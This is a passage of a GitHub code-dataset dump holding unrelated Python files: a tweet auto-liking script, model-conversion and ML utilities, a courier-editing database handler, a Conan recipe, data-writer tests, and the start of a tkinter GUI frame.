tweet_list\n\n\ndef make_favorite(keyword: str, iter_num: int):\n # getter = TweetsGetter.bySearch(keyword+' AND until:2020-12-20_22:05:00_JST')\n getter = TweetsGetter.bySearch(keyword, twitter_noil)\n\n tweet_list = get_tweets_by_keyword(iter_num, getter)\n id_list = []\n\n for tweet in tweet_list:\n # print('{}: {}'.format(\n # tweet['id'], tweet['created_at'], tweet['user']['screen_name']))\n id_list.append(tweet['id'])\n\n print('\\n =====================')\n print(' == start making favorites ==')\n print(' =====================')\n\n for i in range(len(id_list)):\n create_favorites(id_list[i], twitter_noil)\n print(i, 'done automatically making favorites')\n\n # shuffle list\n # random.shuffle(id_list)\n # for i in range(len(id_list)):\n # if i <= 500:\n # create_favorites(id_list[i], twitter_noil)\n # else:\n # print(i, 'done automatically making favorites')\n # break\n\n\n# make favorite #anitwt\nkeyword = '#anitwt'\nmake_favorite(keyword, 500)\n\n# make favorite anime tweets about this season\n# keyword_list = ['#ParipiKoumei', '#kaguyasama', '#Shikimori']\n\n# for keyword in keyword_list:\n# make_favorite(keyword, 100)\n","repo_name":"StarmiyaMiyuki/api","sub_path":"twitter/tweets_getter/auto_favorite_anime.py","file_name":"auto_favorite_anime.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73526874111","text":"import tensorflow.compat.v1 as tf\ntf.disable_eager_execution()\nfrom tensorflow.python.framework import graph_util\n\ngraph = tf.get_default_graph()\nsess = tf.Session()\nsaver = tf.train.import_meta_graph('saved_model_dronet/DroNet_car.ckpt.meta')\nsaver.restore(sess, 'saved_model_dronet/DroNet_car.ckpt')\n\ngraph_def = graph_util.convert_variables_to_constants(sess, graph.as_graph_def(), ['dronet/convolutional9/BiasAdd'])\ntf.train.write_graph(graph_def, 'export', 'DroNet_car.pb', as_text=False)\n\ngraph = tf.get_default_graph()\nsess = tf.Session()\nsaver = tf.train.import_meta_graph('saved_model/DroNetV3_car.ckpt.meta')\nsaver.restore(sess, 'saved_model/DroNetV3_car.ckpt')\n\ngraph_def = graph_util.convert_variables_to_constants(sess, graph.as_graph_def(), ['dronetv3/convolutional12/BiasAdd'])\ntf.train.write_graph(graph_def, 'export', 'DroNetV3_car.pb', as_text=False)","repo_name":"PINTO0309/PINTO_model_zoo","sub_path":"116_DroNet/convert_ckpt_to_pb.py","file_name":"convert_ckpt_to_pb.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":2990,"dataset":"github-code","pt":"60"} +{"seq_id":"14588826590","text":"from jsonschema import validate, ValidationError\n\nfrom candy_delivery.db import get_db\nfrom candy_delivery.orders_assign_POST import check_dates_for_intersection\n\n\ndef check_courier_to_change(courier_to_change):\n \"\"\"Checks the received json\"\"\"\n courier_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"courier_type\": {\n \"enum\": [\"foot\", \"bike\", \"car\"]\n },\n \"regions\": {\n \"type\": \"array\",\n \"items\":\n {\n \"type\": \"integer\"\n },\n \"minItems\": 1,\n \"uniqueItems\": True\n },\n \"working_hours\": {\n \"type\": \"array\",\n \"items\":\n {\n \"type\": \"string\"\n },\n \"minItems\": 1,\n \"uniqueItems\": True\n },\n \"additionalProperties\": False\n },\n \"minProperties\": 1,\n \"maxProperties\": 3,\n \"additionalProperties\": False\n }\n try:\n validate(instance=courier_to_change, schema=courier_schema)\n except ValidationError:\n return False\n return True\n\n\ndef edit_courier(courier_id, data_to_change):\n \"\"\"Changes the information about the courier. If the courier had current orders, it removes orders that it can\nno longer fulfill\"\"\"\n db = get_db()\n couriers_values = []\n for key in data_to_change.keys():\n if key == \"regions\" or key == \"working_hours\":\n couriers_values.append(\"#\".join([str(x) for x in data_to_change[key]]))\n else:\n couriers_values.append(data_to_change[key])\n for field in data_to_change.keys():\n if field == \"courier_type\":\n db.execute(\n \"UPDATE couriers SET courier_type = ? WHERE courier_id = ?\",\n (data_to_change[\"courier_type\"], courier_id)\n )\n elif field == \"regions\":\n db.execute(\n \"UPDATE couriers SET regions = ? WHERE courier_id = ?\",\n (\"#\".join([str(x) for x in data_to_change[\"regions\"]]), courier_id)\n )\n elif field == \"working_hours\":\n db.execute(\n \"UPDATE couriers SET working_hours = ? WHERE courier_id = ?\",\n (\"#\".join([str(x) for x in data_to_change[\"working_hours\"]]), courier_id)\n )\n # Go through the orders and find out which ones can no longer be separated\n cursor = db.cursor()\n courier = list(cursor.execute(\"SELECT * FROM couriers WHERE courier_id = ?\", (courier_id,)))[0]\n if courier[\"current_orders\"] == \"\":\n db.commit()\n return {\n \"courier_id\": courier_id,\n \"courier_type\": courier['courier_type'],\n \"regions\": list(map(int, courier[\"regions\"].strip(\"#\").split('#'))),\n \"working_hours\": courier['working_hours'].strip(\"#\").split('#')\n }\n type_weight = {\"foot\": 10, \"bike\": 15, \"car\": 50}\n working_hours = courier['working_hours'].strip(\"#\").split(\"#\")\n courier_regions = courier['regions'].strip(\"#\").split(\"#\")\n current_weight = courier['orders_weight']\n max_weight = type_weight[courier[\"courier_type\"]]\n current_orders = courier['current_orders'].strip(\"#\").split(\"#\")\n # First, we delete the ones that do not fit the time or region\n for order in cursor.execute(\n \"SELECT * FROM orders WHERE status LIKE 'taken' AND courier_id LIKE ? ORDER BY weight DESC\",\n (courier_id,)):\n if order[\n 'region'] not in courier_regions or not check_dates_for_intersection(working_hours,\n order['delivery_hours'].strip(\n \"#\").split(\"#\")):\n current_orders.remove(str(order[\"order_id\"]))\n current_weight -= order['weight']\n db.execute(\n \"UPDATE orders SET status='incomplete', courier_id=-1, time = '' WHERE order_id = ?\",\n (order['order_id'],)\n )\n # Then we remove the ones that do not fit the weight\n for order in cursor.execute(\n \"SELECT * FROM orders WHERE status LIKE 'taken' AND courier_id LIKE ? ORDER BY weight DESC\",\n (courier_id,)):\n if current_weight > max_weight:\n current_orders.remove(str(order[\"order_id\"]))\n current_weight -= order['weight']\n db.execute(\n \"UPDATE orders SET status='incomplete', courier_id=-1, time = '' WHERE order_id = ?\",\n (order['order_id'],)\n )\n else:\n break\n current_orders = \"#\".join(current_orders)\n db.execute(\n \"UPDATE couriers SET current_orders=?, orders_weight=? WHERE courier_id = ?\",\n (current_orders, current_weight, courier_id)\n )\n db.commit()\n cursor.close()\n return {\n \"courier_id\": courier_id,\n \"courier_type\": courier['courier_type'],\n \"regions\": list(map(int, courier[\"regions\"].strip(\"#\").split('#'))),\n \"working_hours\": courier['working_hours'].strip(\"#\").split('#')\n }\n","repo_name":"Mathless/backendschool","sub_path":"candy_delivery/couriers_PATCH.py","file_name":"couriers_PATCH.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31860773114","text":"from build import *\n\n\nclass Libwebp(Recipe):\n description = \"library to encode and decode images in WebP format\"\n license = \"BSD\"\n build_requires = (\n \"cc/[^1.0.0]\",\n \"cmake/[^3.18.4]\",\n )\n\n def source(self):\n self.get(f\"https://github.com/webmproject/libwebp/archive/v{self.version}.tar.gz\")\n","repo_name":"aivero/contrib","sub_path":"recipes/libwebp/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"27676612544","text":"import re\n\n# set으로 값 체크 하기\nset_1 = set()\nset_1.add(\"a\")\nprint('b' in set_1)\nprint('b' not in set_1)\nprint(set_1)\n\n# indexof 와 같은 find\nfind_1 = \"hihi nice\";\nfind_2 = \"1\";\nfind_3 = \"hi\";\n\nprint(find_1.find(find_2))\nprint(find_1.find(find_2))\n\n# 대문자로 변환\nupper_1 = 'aBc'\nupper_2 = upper_1.upper()\nprint (upper_2)\n\n# 모든 알파벳을 소문자로 변환\nlower_1 = 'AbC'\nlower_2 = lower_1.lower()\nprint(lower_2)\n\n#함수 문법\ndef returnTure():\n return 0\n\nprint(returnTure())\n\ndef returnFalse():\n return 1\n\nprint(returnFalse())\n\n#키보드 입력 받기 input\nprint(\"키보드로 아무거나 입력하세요...\")\ninput = input()\nprint(input)\n\n#setter getter\nclass users(object):\n def __init__(self):\n self.id = None\n\n def getId(self):\n print(self.id)\n return self.id\n\n def setId(self, value):\n self.id = value\n\n # @id.deleter\n # def x(self):\n # print \"deleter of x called\"\n # del self._x\n\n# 정규식\n\nprint(bool(re.search(\"http://blog.naver.com/whydda/*[0-9]\", \"http://blog.naver.com/whydda/aa\")))","repo_name":"whydda/python-crawler","sub_path":"test/testcode.py","file_name":"testcode.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4713242004","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport imageio, glob, os\nfrom scipy.integrate import odeint\nfrom PIL import Image\nfrom sklearn.neighbors import NearestNeighbors\nimport sklearn.neighbors as neigh_search\nfrom scipy.sparse import csr_matrix, diags, identity\nimport time\nfrom scipy.spatial.distance import pdist, squareform\n\n# import torch\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = '0'\n\ndef GifIt(path, name):\n \"\"\"\n :param path: directory with images\n :param name: Generated Gif name\n :return: Gif generated from images in directory\n \"\"\"\n image_list = []\n for filename in sorted(glob.glob(path + '\\\\*'), key=os.path.getmtime):\n im = Image.open(filename)\n image_list.append(im)\n images = []\n for filename in image_list:\n images.append(imageio.imread(filename.filename))\n imageio.mimsave(name, images, fps=2)\n return\n\n\ndef dynamic_sys(xy, t, A: float = 0.25, alpha: float = 0.25, omega: float = 2*np.pi):\n m = int(np.size(xy) / 2)\n x = xy[:m]\n y = xy[m:]\n f = alpha * np.sin(omega * t) * x ** 2 + (1 - 2 * alpha * np.sin(omega * t)) * x\n df_dx = 2 * x * alpha * np.sin(omega * t) + 1 - 2 * alpha * np.sin(omega * t)\n xdot = -np.pi * A * np.sin(np.pi * f) * np.cos(np.pi * y)\n ydot = np.pi * A * np.cos(np.pi * f) * np.sin(np.pi * y) * df_dx\n dx_dy = np.concatenate((xdot.reshape(-1), ydot.reshape(-1)))\n return dx_dy\n\n\ndef DoubleGryeFlow_data(T: int = 201, m=200, n=100, save=False):\n xx, yy = np.meshgrid(np.linspace(0, 2, m), np.linspace(0, 1, n))\n t = np.linspace(0, 20, T)\n m = np.size(xx)\n xy = np.concatenate((xx.reshape(-1), yy.reshape(-1)))\n\n xy_int = odeint(dynamic_sys, xy, t)\n X = xy_int[:, : m]\n Y = xy_int[:, m:]\n XY = np.zeros((2, m, T))\n\n for i in range(T):\n XY[:, :, i] = np.concatenate((X[None, i, :], Y[None, i, :]))\n if save:\n plt.figure(figsize=(10, 5))\n plt.scatter(XY[0, :, i], XY[1, :, i], s=3, c=np.arange(20e3), cmap='hot')\n plt.savefig(f'data\\q1\\All\\Time{i}')\n plt.close()\n if save:\n GifIt('data/q1/All', 'data\\q1\\Double_gyre_flow.gif')\n return XY.T # array shaped as T x mn, 2\n\n\ndef Q_eps_sparse(data, eps: float=0.4, r: float=2):\n radius = np.sqrt(r * eps)\n T, n, _ = data.shape\n Q = csr_matrix((n, n))\n for t in range(T):\n neigh = NearestNeighbors(radius=radius, algorithm='ball_tree').fit(data[t])\n K = neigh.radius_neighbors_graph(data[t], mode='distance') # CSR sparse matrix\n K = -K.power(2)/eps\n K = K.expm1()\n K.data += 1\n\n Pepsi = diags(csr_matrix(1/K.sum(1), shape=(n, 1)).toarray().squeeze(1), 0) * K\n Depsi = diags(csr_matrix(1/Pepsi.sum(0), shape=(1, n)).toarray().squeeze(0), 0)\n\n Q += Depsi * Pepsi.T * Pepsi\n return Q/T\n\n\ndef Q_eps_np(data, eps: float=0.4, r: float=2):\n radius = np.sqrt(r * eps)\n T, n, _ = data.shape\n Q = csr_matrix((n, n))\n for t in range(T):\n dist_mat = squareform(pdist(data[t]))\n K = np.exp(-dist_mat ** 2 / eps)\n K = csr_matrix(K*(dist_mat < radius))\n\n\n Pepsi = diags(csr_matrix(1/K.sum(1), shape=(n, 1)).toarray().squeeze(1), 0) * K\n Depsi = diags(csr_matrix(1/Pepsi.sum(0), shape=(1, n)).toarray().squeeze(0), 0)\n\n Q += Depsi * Pepsi.T * Pepsi\n return Q/T\n\n\ndef Q_eps_hybrid_np_sparse(data, eps: float = 0.4, r: float = 2, corrupt='', opt: int = 1):\n \"\"\"\n :param data: the analysed dataset\n :param eps: epsilon as in the article\n :param r: r is defoult 2 as in the article\n :param corrupt: a flag that indicates if corrupted dataset is analysed. 'corrupt' for True\n :param opt: Two optional methods were implemented: 1) erasing elements directly on the kernel.\n 0) incraesig the value of selected points to infinity\n :return: Qeps\n \"\"\"\n radius = np.sqrt(r * eps)\n T, n, _ = data.shape\n Q = np.zeros((n, n))\n for t in range(T):\n data_ = data[t].copy()\n if corrupt == 'corrupt' and opt == 0:\n samp = np.random.permutation(np.arange(n))[:int(0.8 * n)]\n data_[samp, 0] *= 1e9\n data_[samp, 1] *= 1e9\n\n K = neigh_search.radius_neighbors_graph(data_, radius, mode='distance')\n\n if corrupt == 'corrupt' and opt == 1:\n corrup_samples = np.random.permutation(np.arange(n))[:int(0.8 * 500)]\n mask = np.ones((n, n))\n mask[corrup_samples, :] = 0\n mask[:, corrup_samples] = 0\n mask = csr_matrix(mask)\n K = K.multiply(mask)\n\n K.data = np.exp(-(K.data ** 2) / eps)\n K = K + identity(K.shape[0], format='csr')\n\n # Pepsi = (1. / np.sum(K, axis=1)) * K\n # Q += (np.dot(Pepsi, Pepsi.T) / (np.sum(Pepsi, axis=1))).T\n Pepsi = diags(csr_matrix(1 / K.sum(1), shape=(n, 1)).toarray().squeeze(1), 0) * K\n Depsi = diags(csr_matrix(1 / Pepsi.sum(0), shape=(1, n)).toarray().squeeze(0), 0)\n\n Q += Depsi * Pepsi.T * Pepsi\n return Q/T # Eq. 19\n\ndef Q_eps_torch(data, eps: float=0.4, r: float=2):\n radius = np.sqrt(r * eps)\n T = data.shape[0]\n dist_mat = (data.norm(dim=2, keepdim=True) ** 2 + (data.norm(dim=2, keepdim=True) ** 2).transpose(1, 2) - 2 * (\n data @ data.transpose(1, 2))) ** 0.5\n\n # dist_mat[dist_mat != dist_mat] = 0.0\n dist_mat.diagonal(offset=0, dim1=1, dim2=2).fill_(0.0)\n K = torch.exp(-dist_mat**2/eps)\n\n\n K.diagonal(offset=0, dim1=1, dim2=2).fill_(1.0)\n # K[dist_mat > radius] = 0.0\n K *= (dist_mat < radius)\n del dist_mat\n\n Pepsi = torch.diag_embed(1 / K.sum(2), dim1=1, dim2=2) @ K\n Depsi = torch.diag_embed(1 / Pepsi.sum(1), dim1=1, dim2=2)\n\n Q = Depsi @ Pepsi.transpose(1, 2) @ Pepsi\n Q = Q.sum(0)\n return Q/T\n\ndef Q_eps_hybrid_np_torch(data, eps: float=0.4, r: float=2):\n radius = np.sqrt(r * eps)\n T, n, _ = data.shape\n Q = csr_matrix((n, n))\n for t in range(T):\n K = (data[t].norm(dim=1, keepdim=True) ** 2 + (data[t].norm(dim=1, keepdim=True) ** 2).T - 2 * (\n data[t] @ data[t].T)) ** 0.5\n\n K.diagonal(offset=0).fill_(0.0)\n K[K != K] = 0\n K *= (K < radius)\n\n K = csr_matrix(K.cpu().numpy())\n K = -K.power(2) / eps\n K = K.expm1()\n K.data += 1\n\n Pepsi = diags(csr_matrix(1 / K.sum(1), shape=(n, 1)).toarray().squeeze(1), 0) * K\n Depsi = diags(csr_matrix(1 / Pepsi.sum(0), shape=(1, n)).toarray().squeeze(0), 0)\n\n Q += Depsi * Pepsi.T * Pepsi\n return Q/T\n\nif __name__ == '__main__':\n start_time = time.time()\n T, m, n = 2, 200, 100\n XY = DoubleGryeFlow_data(T=T, m=m, n=n)\n\n print(\"--- Generate DoubleGryeFlow_data %s seconds with T=%s, m=%s, n=%s ---\" % (time.time() - start_time, T, m, n))\n # plt.scatter(XY[83, :, 0], XY[83, :, 1], cmap='hot', c=np.arange(20e3)), plt.show()\n print(XY.shape)\n\n # XY = np.random.randn(10, 2000, 2)\n start_time = time.time()\n Qeps_ = Q_eps_hybrid_np_sparse(XY, eps=0.004)\n print(\"--- Q_eps sparse %s seconds ---\" % (time.time() - start_time))\n\n\n # start_time = time.time()\n # Q_np = Q_eps_np(XY, eps=0.4)\n # print(\"--- Q_eps numpy %s seconds ---\" % (time.time() - start_time))\n #\n # print(\"--- ||np_sparse-np|| %s ---\" % (((Q_np_sparse - Q_np)**2).sum()))\n\n\n","repo_name":"EyalRozenberg1/Geometric-Learning","sub_path":"TheDynamicLaplacian/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15383105413","text":"from .BasicModule import BasicModule\nimport torch as t\nimport numpy as np\nfrom torch import nn\nimport json\nfrom sklearn.externals import joblib\n\n\ndef kmax_pooling(x, dim, k):\n index = x.topk(k, dim = dim)[1].sort(dim = dim)[0]\n return x.gather(dim, index)\n\nclass LSTMText(BasicModule): \n def __init__(self, opt ):\n super(LSTMText, self).__init__()\n self.model_name = 'LSTMText'\n self.opt=opt\n\n kernel_size = opt.kernel_size\n self.encoder = nn.Embedding(opt.vocab_size,opt.embedding_dim, padding_idx=0)\n\n if opt.embedding_path:\n self.encoder.from_pretrained(self.load_embedding(MyEmbeddings(opt.embedding_path)))\n \n self.content_lstm =nn.LSTM(input_size = opt.embedding_dim,\n hidden_size = opt.hidden_size,\n num_layers = opt.num_layers,\n bias = True,\n batch_first = False,\n bidirectional = True\n )\n\n self.fc = nn.Sequential(\n nn.Linear(opt.kmax_pooling*(opt.hidden_size*2),opt.linear_hidden_size),\n nn.BatchNorm1d(opt.linear_hidden_size),\n nn.ReLU(inplace=True),\n nn.Linear(opt.linear_hidden_size,opt.num_classes)\n )\n\n def forward(self, content):\n content = self.encoder(content)\n if self.opt.static:\n content=content.detach()\n\n content_out = self.content_lstm(content.permute(1,0,2))[0].permute(1,2,0)\n\n content_conv_out = kmax_pooling((content_out),2,self.opt.kmax_pooling)\n\n reshaped = content_conv_out.view(content_conv_out.size(0), -1)\n logits = self.fc((reshaped))\n return logits\n \n def load_embedding(self, myembedding):\n path = self.opt.type_ + '2index.json'\n f = open(path, 'r')\n word2index = json.load(f)\n f.close()\n \n weight_pad = np.zeros((1,len(myembedding)))\n weight = np.random.uniform(-0.1,0.1,[self.opt.vocab_size-1, len(myembedding)])\n weight = np.concatenate([weight_pad, weight], 0)\n for line in myembedding:\n pair = line.split(' ')\n if word2index.get(pair[0]) is not None:\n weight[word2index[pair[0]]] = [float(i) for i in pair[1:]]\n\n weight = t.tensor(weight, dtype=t.float32)\n print('pretrain wordvec loaded!')\n return weight\n\nclass MyEmbeddings(object):\n def __init__(self, path):\n self.path = path\n\n def __iter__(self):\n for line in open(self.path, 'r'):\n yield line.strip()\n\n def __len__(self):\n length = 0\n with open(self.path, 'r') as f:\n length = f.readline().split()[1]\n return int(length)\n","repo_name":"Lastdier/bdci_sentiment","sub_path":"topic_DNN/models/LSTMText.py","file_name":"LSTMText.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"41078598732","text":"import numpy as np\nimport pandas as pd\nimport torch\nfrom transformers import pipeline, AutoModelForTokenClassification, AutoTokenizer\n\ndef build_dataset_from_raw():\n prefix = \"Replace it with your own url\"\n prefix2 = \"./\"\n df = pd.read_csv(prefix + \"local_0120.csv\")\n\n FB_news = df[['message']][:1000].copy()\n FB_news = FB_news.rename(columns={\"message\": \"text\"})\n FB_news.to_csv(prefix2 + \"Fbnews.csv\")\n\ndef choose_labeled_columns():\n prefix2 = \"./\"\n df = pd.read_csv(prefix2 + \"fbnews_labeled.csv\")\n df = df[:100]\n df.to_csv(prefix2 + \"fbnews_labeled.csv\")\n\ndef df_to_dict(df, nlp):\n target_dict = {}\n target_dict['text'] = df['text'].tolist()\n target_dict['label'] = torch.tensor(df['tag'].values)\n target_dict['major_label'] = torch.tensor(df['major_label'].values)\n target_dict['lf'] = torch.tensor(df[['LF1', 'LF2', 'LF3', 'LF4',\n 'LF5', 'LF6', 'LF7', 'LF8',\n 'LF9']].values)\n features = nlp(target_dict['text'])\n features = np.squeeze(features).astype('float32')[:, 0, :]\n target_dict['bert_feature'] = torch.tensor(features)\n return target_dict\n\n\n\nif __name__ == '__main__':\n prefix2 = \"./\"\n df = pd.read_csv(prefix2 + \"fbnews_LF.csv\")\n df = df.sample(frac=1).reset_index(drop=True)\n # Add bert features\n text = df['text'].tolist()\n nlp = pipeline(\"feature-extraction\",model='bert-base-uncased', tokenizer='bert-base-uncased')\n\n n, _ = df.shape\n labeled_size = int(0.1 * n)\n val_size = int(0.1 * n)\n test_size = int(0.1 * n)\n unlabeled_size = n - (labeled_size + val_size + test_size)\n\n labeled = df[:labeled_size]\n labeled_dict = df_to_dict(labeled, nlp)\n\n unlabeled = df[labeled_size:labeled_size + unlabeled_size]\n unlabeled_dict = df_to_dict(unlabeled, nlp)\n\n val = df[labeled_size + unlabeled_size : labeled_size + unlabeled_size + val_size]\n val_dict = df_to_dict(val, nlp)\n\n test = df[labeled_size + unlabeled_size + val_size:]\n test_dict = df_to_dict(test, nlp)\n\n\n\n\n data_dict = {\"labeled\": labeled_dict, \"unlabeled\": unlabeled_dict,\n \"validation\": val_dict, \"test\": test_dict}\n\n torch.save(data_dict, prefix2 + \"fbnews_organized_nb.pt\")\n\n\n","repo_name":"AnnyKong/Denoise-multi-weak-sources-rep","sub_path":"rules-noisy-labels/FbNews/build_dataset.py","file_name":"build_dataset.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26841329955","text":"import dataclasses\nimport datetime\nimport decimal\nimport os\nimport pandas\nimport shutil\nimport sqlalchemy\nimport tempfile\nimport unittest\n\nfrom absl import app, flags\nfrom dataschema.entity import Annotate\nfrom dataschema import annotations\nfrom dataschema import data_writer\nfrom dataschema import entity\nfrom dataschema import python2schema\nfrom dataschema import schema_synth\nfrom dataschema import schema2sqlalchemy\n\nfrom typing import List, Optional\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string(\n 'test_data_dir', None,\n 'If this is set we use it as our data playground. '\n 'Good for test runs w/ s3 if properly setup.')\n\n\n@dataclasses.dataclass\nclass A:\n a_id: Annotate(int, annotations.Id())\n name: str\n common_stuff: Optional[str]\n date: datetime.date\n attribute: int\n cost: Annotate(decimal.Decimal, annotations.Decimal(10, 2))\n\n\n@dataclasses.dataclass\nclass B:\n b_id: Annotate(int, annotations.Id())\n a_id: int\n relation: Optional[int]\n attribute: List[float]\n\n\nclass SynthSchemaTest(unittest.TestCase):\n\n def setUp(self):\n if FLAGS.test_data_dir:\n self.test_dir = FLAGS.test_data_dir\n else:\n self.test_dir = tempfile.mkdtemp()\n\n def tearDown(self):\n if not FLAGS.test_data_dir:\n shutil.rmtree(self.test_dir)\n\n def generate(self,\n output_writer,\n output_type,\n size,\n dir_name,\n ext='',\n shards=None,\n data_classes=None,\n sizes=None):\n builder = schema_synth.Builder()\n if data_classes is None:\n data_classes = [A, B]\n gens = builder.schema_generator(output_type=output_type,\n data_classes=data_classes)\n for gen in gens:\n gen.pregenerate_keys(sizes[gen.name()] if sizes else size)\n file_info = [\n schema_synth.FileGeneratorInfo(\n gen, sizes[gen.name()] if sizes else size,\n gen.name(), ext, shards)\n for gen in gens\n ]\n return schema_synth.GenerateFiles(\n file_info, output_writer,\n os.path.join(self.test_dir, dir_name) if dir_name else '')\n\n def test_print(self):\n self.generate(data_writer.PrintWriter(),\n schema_synth.OutputType.DATACLASS, 5, 'print')\n\n def check_a_dataframe(self, a, size):\n self.assertEqual(list(a.columns),\n [f.name for f in dataclasses.fields(A)])\n self.assertTrue(all(a['a_id'] == range(1, size + 1)))\n\n def check_b_dataframe(self, b, size, a_values=None):\n self.assertEqual(list(b.columns),\n [f.name for f in dataclasses.fields(B)])\n self.assertTrue(all(b['b_id'] == range(1, size + 1)))\n if a_values is not None:\n a_keys = set(a_values['a_id'].tolist())\n for a_id in b['a_id']:\n self.assertTrue(a_id in a_keys, f'For: {a_id}')\n\n def test_csv(self):\n size = 10\n files = self.generate(data_writer.CsvWriter(),\n schema_synth.OutputType.DATAFRAME, size, 'csv',\n '.csv')\n a_data = pandas.read_csv(files['A'][0])\n b_data = pandas.read_csv(files['B'][0])\n self.check_a_dataframe(a_data, size)\n self.check_b_dataframe(b_data, size)\n\n def test_json(self):\n size = 10\n files = self.generate(data_writer.JsonWriter(),\n schema_synth.OutputType.DICT, size, 'json',\n '.json')\n a_data = pandas.io.json.read_json(files['A'][0])\n b_data = pandas.io.json.read_json(files['B'][0])\n self.check_a_dataframe(a_data, size)\n self.check_b_dataframe(b_data, size)\n\n def test_pickle(self):\n size = 10\n files = self.generate(data_writer.PickleWriter(),\n schema_synth.OutputType.DICT, size, 'pickle',\n '.pickle')\n a_data = pandas.DataFrame(pandas.read_pickle(files['A'][0]))\n b_data = pandas.DataFrame(pandas.read_pickle(files['B'][0]))\n self.check_a_dataframe(a_data, size)\n self.check_b_dataframe(b_data, size)\n\n def test_parquet(self):\n size = 10\n files = self.generate(data_writer.ParquetWriter(),\n schema_synth.OutputType.DATAFRAME, size,\n 'parquet', '.parquet')\n a_data = pandas.read_parquet(files['A'][0])\n b_data = pandas.read_parquet(files['B'][0])\n self.check_a_dataframe(a_data, size)\n self.check_b_dataframe(b_data, size)\n\n def test_joint(self):\n sizes = {'A': 10, 'B': 20}\n files = self.generate(data_writer.ParquetWriter(),\n schema_synth.OutputType.DATAFRAME, 100,\n 'parquet', '.parquet',\n data_classes=[B, A], sizes=sizes)\n a_data = pandas.read_parquet(files['A'][0])\n b_data = pandas.read_parquet(files['B'][0])\n self.check_a_dataframe(a_data, sizes['A'])\n self.check_b_dataframe(b_data, sizes['B'], a_data)\n\n def test_sql_alchemy(self):\n if FLAGS.test_data_dir:\n return\n size = 10\n db_path = os.path.join(self.test_dir, 'sqltest.db')\n # Note: four slashes for absolute paths !\n db_url = f'sqlite:///{db_path}'\n engine = sqlalchemy.create_engine(db_url, echo=True)\n engine.connect()\n meta = sqlalchemy.MetaData()\n table_a = schema2sqlalchemy.ConvertTable(\n python2schema.ConvertDataclass(A), meta=meta)\n # Note: arrays not supported by sqlite - skipping B\n meta.create_all(engine)\n tables = self.generate(data_writer.SqlAlchemyWriter(engine),\n schema_synth.OutputType.DATAFRAME,\n size,\n '',\n data_classes=[A])\n print(f'SQL tables generated: {tables}')\n connection = engine.connect()\n query = sqlalchemy.select([table_a])\n results = connection.execute(query).fetchall()\n print(f'Sql data:\\n{results}')\n self.assertEqual(len(results), 10)\n self.assertEqual([res[0] for res in results], list(range(1, size + 1)))\n self.assertEqual(len(results[0]), len(dataclasses.fields(A)))\n for res in results:\n for (value, field) in zip(res, dataclasses.fields(A)):\n if value is None:\n self.assertEqual(field.name, 'common_stuff')\n else:\n self.assertTrue(\n isinstance(value, entity.GetOriginalType(field.type)),\n f'field: {field} => {value}')\n\ndef main(argv):\n unittest.main(argv=argv)\n\n\nif __name__ == '__main__':\n app.run(main)\n","repo_name":"NunaInc/sql_tools","sub_path":"dataschema/data_writer_test.py","file_name":"data_writer_test.py","file_ext":"py","file_size_in_byte":6974,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"5934058246","text":"import tkinter as tk\nfrom functools import partial\nfrom tkinter import ttk\nfrom typing import List\n\nimport blinker as bl\nimport numpy as np\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\nfrom ... import app_configuration\nfrom ..frames.Baseline_interpolation import (\n Baseline_interpolation_frame,\n Baseline_interpolation_regions,\n)\nfrom ..frames.vertical_toolbar import vertical_toolbar\nfrom ..widgets import set_value_from_widget\nfrom ..widgets.validate_input import invalid_widget_input, validate_widget_input\n\non_load_interference = bl.signal(\"load interference\")\non_remove_interference = bl.signal(\"remove interference\")\n\n\non_deconvolve_interference = bl.signal(\"deconvolve interference\")\non_subtract_interference = bl.signal(\"subtract interference\")\non_set_processing = bl.signal(\"set processing\")\n\n_font = app_configuration.gui[\"font\"][\"family\"]\n_fontsize = app_configuration.gui[\"font\"][\"size\"]\n_fontsize_head = _fontsize\n\npadding = 2\n\n\nclass Interference_frame(ttk.Frame):\n def __init__(self, parent: ttk.Frame, name: str, variables, widgets, **kwargs):\n\n super().__init__(parent, name=name, **kwargs)\n\n self.canvas = None\n\n self.interference_widgets = {}\n self.deconvolution_widgets = {}\n self.subtraction_widgets = {}\n widgets[\"interference\"] = self.interference_widgets\n widgets[\"deconvolution\"] = self.deconvolution_widgets\n widgets[\"subtraction\"] = self.subtraction_widgets\n\n self.interference_variables = {}\n self.deconvolution_variables = {}\n self.subtraction_variables = {}\n variables[\"interference\"] = self.interference_variables\n variables[\"deconvolution\"] = self.deconvolution_variables\n variables[\"subtraction\"] = self.subtraction_variables\n\n self.columnconfigure(0, weight=1)\n self.columnconfigure(3, minsize=\"7c\")\n self.rowconfigure(6, weight=1)\n\n self.make_interference_frame(\n parent=self,\n name=\"interference\",\n widgets=self.interference_widgets,\n variables=self.interference_variables,\n row=0,\n col=3,\n )\n self.make_deconvolution_frame(\n parent=self,\n name=\"deconvolution\",\n widgets=self.deconvolution_widgets,\n variables=self.deconvolution_variables,\n row=2,\n col=3,\n )\n self.make_subtraction_frame(\n parent=self,\n name=\"subtraction\",\n widgets=self.subtraction_widgets,\n variables=self.subtraction_variables,\n row=4,\n col=3,\n 